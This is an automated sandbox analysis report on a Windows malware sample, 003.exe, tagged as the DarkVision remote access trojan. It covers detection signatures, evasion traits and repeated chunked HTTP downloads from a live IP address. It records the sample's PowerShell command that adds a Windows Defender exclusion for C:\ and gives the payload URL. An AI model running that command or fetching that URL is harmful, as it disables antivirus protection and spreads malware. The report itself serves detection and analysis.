Edit tour

Windows Analysis Report
003.exe

Overview

General Information

Sample name:	003.exe
Analysis ID:	1665182
MD5:	3cf1ad76cc9ee98b2ef901bc43d27e42
SHA1:	6661ccb3bdba15713c4573de6bb6da1340ceb4d8
SHA256:	ee6eb001007a24a393576197ff02b58b6f5c7cd673c3cfa33f6aaa65673a72fb
Tags:	003DarkVisionRATexeRATuser-abuse_ch
Infos:

Detection

Score:	96
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Adds a directory exclusion to Windows Defender

Found direct / indirect Syscall (likely to bypass EDR)

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to evade analysis by execution special instruction (VM detection)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to load drivers

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates driver files

Creates or modifies windows services

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Enables driver privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Spawns drivers

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

003.exe (PID: 8184 cmdline: "C:\Users\user\Desktop\003.exe" MD5: 3CF1AD76CC9EE98B2EF901BC43D27E42)

powershell.exe (PID: 7304 cmdline: powershell Add-MpPreference -ExclusionPath C:\ MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6180 cmdline: powershell Remove-MpPreference -ExclusionPath C:\ MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell Add-MpPreference -ExclusionPath C:\, CommandLine: powershell Add-MpPreference -ExclusionPath C:\, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\003.exe", ParentImage: C:\Users\user\Desktop\003.exe, ParentProcessId: 8184, ParentProcessName: 003.exe, ProcessCommandLine: powershell Add-MpPreference -ExclusionPath C:\, ProcessId: 7304, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell Add-MpPreference -ExclusionPath C:\, CommandLine: powershell Add-MpPreference -ExclusionPath C:\, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\003.exe", ParentImage: C:\Users\user\Desktop\003.exe, ParentProcessId: 8184, ParentProcessName: 003.exe, ProcessCommandLine: powershell Add-MpPreference -ExclusionPath C:\, ProcessId: 7304, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://104.168.28.10/003/01/d1;

Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Windows\Temp\y5VWvTdZ_8184.sys

ReversingLabs: Detection: 33%

Multi AV Scanner detection for submitted file

Source: 003.exe	Virustotal: Detection: 38%			Perma Link
Source: 003.exe	ReversingLabs: Detection: 55%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Neural Call Log Analysis: 99.3%

Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007B82FC malloc,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,free,	0_2_007B82FC
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007FF028 CryptGenRandom,	0_2_007FF028
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007A71EA CryptAcquireContextA,CryptCreateHash,	0_2_007A71EA
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007A71E8 CryptAcquireContextA,CryptCreateHash,	0_2_007A71E8
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007A7244 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	0_2_007A7244
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007B8478 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,	0_2_007B8478
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007AE4C4 CryptAcquireContextA,CryptCreateHash,	0_2_007AE4C4
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007AE510 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	0_2_007AE510

Source: C:\Users\user\Desktop\003.exe	Code function: -----BEGIN PUBLIC KEY-----	0_2_00793268
Source: C:\Users\user\Desktop\003.exe	Code function: -----BEGIN PUBLIC KEY-----	0_2_007BF214
Source: 003.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007D35CC FindFirstFileA,FindNextFileA,FindClose,		0_2_007D35CC
Source: C:\Users\user\Desktop\003.exe	Code function: 0_2_007F1C54 __doserrno,_errno,_errno,__doserrno,FindFirstFileA,_errno,_errno,_errno,_errno,_errno,GetDriveTypeA,free,free,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,FindClose,		0_2_007F1C54

Source: Joe Sandbox View

IP Address: 104.168.28.10 104.168.28.10

Source: global traffic	HTTP traffic detected: HEAD /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=0-0User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=16384-32767User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=0-16383User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=32768-49151User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=65536-81919User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=49152-65535User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=81920-98303User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=98304-114687User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=114688-131071User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=131072-163839User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=163840-196607User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=196608-229375User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=229376-262143User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=262144-294911User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=294912-327679User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=360448-393215User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=327680-360447User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=393216-458751User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=524288-589823User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=458752-524287User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=589824-655359User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=655360-720895User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=786432-851967User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=720896-786431User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=851968-917503User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=917504-1048575User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1048576-1179647User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1179648-1310719User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1310720-1441791User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1441792-1572863User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1572864-1703935User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1703936-1835007User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1835008-1966079User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1966080-2228223User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=2228224-2490367User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=2752512-3014655User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=2490368-2752511User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=3014656-3276799User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=3276800-3801087User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=3801088-4325375User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=4325376-4587519User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=4587520-4849663User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=4849664-5111807User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=5111808-5606383User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /

Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10
Source: unknown	TCP traffic detected without corresponding DNS query: 104.168.28.10

Source: C:\Users\user\Desktop\003.exe

Code function: 0_2_007A92C4 socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,__swprintf_l,send,recv,closesocket,closesocket,closesocket,closesocket,

0_2_007A92C4

Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=16384-32767User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=0-16383User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=32768-49151User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=65536-81919User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=49152-65535User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=81920-98303User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=98304-114687User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=114688-131071User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=131072-163839User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=163840-196607User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=196608-229375User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=229376-262143User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=262144-294911User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=294912-327679User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=360448-393215User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=327680-360447User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=393216-458751User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=524288-589823User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=458752-524287User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=589824-655359User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=655360-720895User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=786432-851967User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=720896-786431User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=851968-917503User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=917504-1048575User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1048576-1179647User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1179648-1310719User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1310720-1441791User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1441792-1572863User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1572864-1703935User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1703936-1835007User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1835008-1966079User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1966080-2228223User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=2228224-2490367User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=2752512-3014655User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
